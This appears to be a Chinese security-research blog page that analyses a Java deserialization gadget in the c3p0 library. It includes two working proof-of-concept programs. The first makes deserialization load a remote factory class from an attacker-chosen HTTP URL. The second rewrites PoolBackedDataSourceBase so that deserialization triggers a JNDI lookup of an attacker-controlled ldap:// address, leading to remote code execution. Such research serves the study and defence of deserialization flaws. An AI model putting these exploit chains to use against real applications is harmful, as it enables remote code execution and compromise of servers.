> For the complete documentation index, see [llms.txt](https://p4d0rn.gitbook.io/java/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://p4d0rn.gitbook.io/java/others/c3p0.md).

# C3P0原生反序列化的JNDI打法

复习一下c3p0的反序列化打法，网上公开的大概就三种：

* 原生反序列化，加载Reference指定的类工厂的字节码，需要出网
* 配合json反序列化，有两个可以利用的setter
  * 一个打二次反序列化
  * 一个打JNDI

这里啰嗦地说一下原生反序列化的打法

`PoolBackedDataSourceBase#readObject`

![image-20240308231523639](/files/Kz0lRzAruhSDOWmRBAg6)

如果读取的对象是`IndirectlySerialized`的实例，调用`getObject`来恢复连接池数据源`connectionPoolDataSource`这个属性。 顾名思义，`IndirectlySerialized`是间接序列化，这是一个接口，我们看它的实现子类`ReferenceSerialized#getObject`

![image-20240308231500846](/files/xP07JjtozPM2Z2yzkuiS)

![image-20240308231450415](/files/QCj5a88tO6R1JzoTtHLl)

`referenceToObject`通过获取引用(`Reference`)中指定的工厂类地址(`fClassLocation`)，构造一个`URLClassLoader`，再去加载工厂类(`fClassName`)。这个引用作为`ReferenceSerialized`对象的属性，我们是可以控制的。

再看一下这个`IndirectlySerialized`是怎么写进去序列化流的 `PoolBackedDataSourceBase#writeObject` ![image-20240308231429409](/files/KAYE1K43kCVXuJkFVro1)

首先尝试序列化连接池数据源`connectionPoolDataSource` 若它不可被序列化，经过`Indirector`处理后再进行序列化，这是一个接口类，我们看它的实现子类`ReferenceIndirector` 下面看一下它是怎么处理这个不可被序列化的对象的，其实看到这里也能猜到，顾名思义它会包装一个引用(`Reference`)

![image-20240308231413980](/files/Buf8IjZaT8Zced6ChTl4)

这里要求这个对象是可被引用的（`Referenceable`），获取它的引用后封装到`ReferenceSerialized`中，也就是上文反序列化中提到的类。 可以构造如下POC：

```java
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class Test {
    public static void main(String[] args) throws Exception {
        PoolBackedDataSourceBase base = new PoolBackedDataSourceBase(false);
        Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
        Field cp = clazz.getDeclaredField("connectionPoolDataSource");
        cp.setAccessible(true);
        cp.set(base, new evil());

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(base);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        Object o = (Object) ois.readObject();
    }

    public static class evil implements ConnectionPoolDataSource, Referenceable{

        public Reference getReference() throws NamingException {
            return new Reference("calc", "calc", "http://127.0.0.1:9999/");
        }

        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        public void setLoginTimeout(int seconds) throws SQLException {

        }

        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }
}
```

`evil`不能被反序列化，会经过`ReferenceIndirector`处理，拿到它的引用放入`ReferenceSerialized`，反序列化时会提取引用的工厂类地址，去远程加载工厂类。

上面反序列化的过程有一行特别醒目的代码 `ReferenceSerialized#getObject`

```java
if ( contextName != null )
nameContext = (Context) initialContext.lookup( contextName );
```

熟悉的JNDI sink，但之前传入`lookup`的都是字符串，这里要求是个`Name`接口类。对比一下，其实就是要让`Name.get(0)`返回那串神奇的URL`ldap://xxx/`或`rmi://xxx/`

![image-20240308231350806](/files/jfuQoeXG5ydF9WNj0P3R)

翻了一遍Name的实现类，挑了一个好用的`javax.naming.CompoundName` 其他实现类可能序列化和反序列化的时候会麻烦的，感兴趣的可以尝试。 主要关注下面几个方法

![image-20240308231321375](/files/6VPOgIrcoUunDd5TDhTq)

![image-20240308231335224](/files/004Lvz0bgyLu82raNM17)

`impl`和`mySyntax`都是transient，所以序列化和反序列化时肯定有另外的处理。

![image-20240308231304347](/files/7saFhVtaFGiWp4Oll25i)

大概就是遍历了`impl`的`components`属性（这是一个Vector），每个都写入序列化流。

![image-20240308231241230](/files/ezUjYhzZ9A10u88fJ2PS)

反序列化的时候，多次调用`readObject`再add进`impl` 大概知道了这个逻辑后我们简单构造一下

```java
CompoundName name = new CompoundName("ldap://127.0.0.1:8099/aaa", new Properties());
new InitialContext().lookup(name);
```

ok成功触发。 接下来的问题时，这个`contextName`属性我们在反序列化时是控制不了的 ![image-20240308231216847](/files/Feh5f0Q6ShKSRsCl9W7G)

默认为null 有很多解决方法，最简单就是调试的时候直接改掉这个值为我们构造的`CompoundName` 复杂一点的就是用javassist修改`ReferenceIndirector`这个类的无参构造函数，在里面对`contextName`属性进行赋值。 考虑到`writeObject`还得触发`NotSerializableException`，这里采取一个折中的方法，干脆直接本地重写`PoolBackedDataSourceBase`这个类，由上面的流程可知序列化本质就写入了一个`ReferenceSerialized`对象。

```java
package com.mchange.v2.c3p0.impl;

import com.mchange.v2.ser.Indirector;
import com.mchange.v2.ser.SerializableUtils;
import com.sun.jndi.dns.DnsName;

import javax.naming.CompoundName;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import java.io.IOException;
import java.io.NotSerializableException;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Properties;

public class PoolBackedDataSourceBase extends IdentityTokenResolvable implements Referenceable, Serializable {
    private static final long serialVersionUID = 1;

    @Override
    public String getIdentityToken() {
        return null;
    }

    @Override
    public void setIdentityToken(String idToken) {

    }

    @Override
    public Reference getReference() throws NamingException {
        return null;
    }

    private void writeObject( ObjectOutputStream oos ) throws Exception
    {
        CompoundName name = new CompoundName("ldap://127.0.0.1:8099/aaa", new Properties());
        Class<?> clazz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
        Constructor<?> con = clazz.getDeclaredConstructors()[0];
        con.setAccessible(true);
        Object referenceSerialized = con.newInstance(null, null, name, null);
        oos.writeShort(1);  // 写入版本
        oos.writeObject(referenceSerialized);
    }
}
```

![image-20240308231154816](/files/aVnR4ZnCwqz1svoRSxtP)

> 其实原来那条URLClassLoader的链就挺好打了，这个打法复杂化了
>
> 大家看个乐


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://p4d0rn.gitbook.io/java/others/c3p0.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
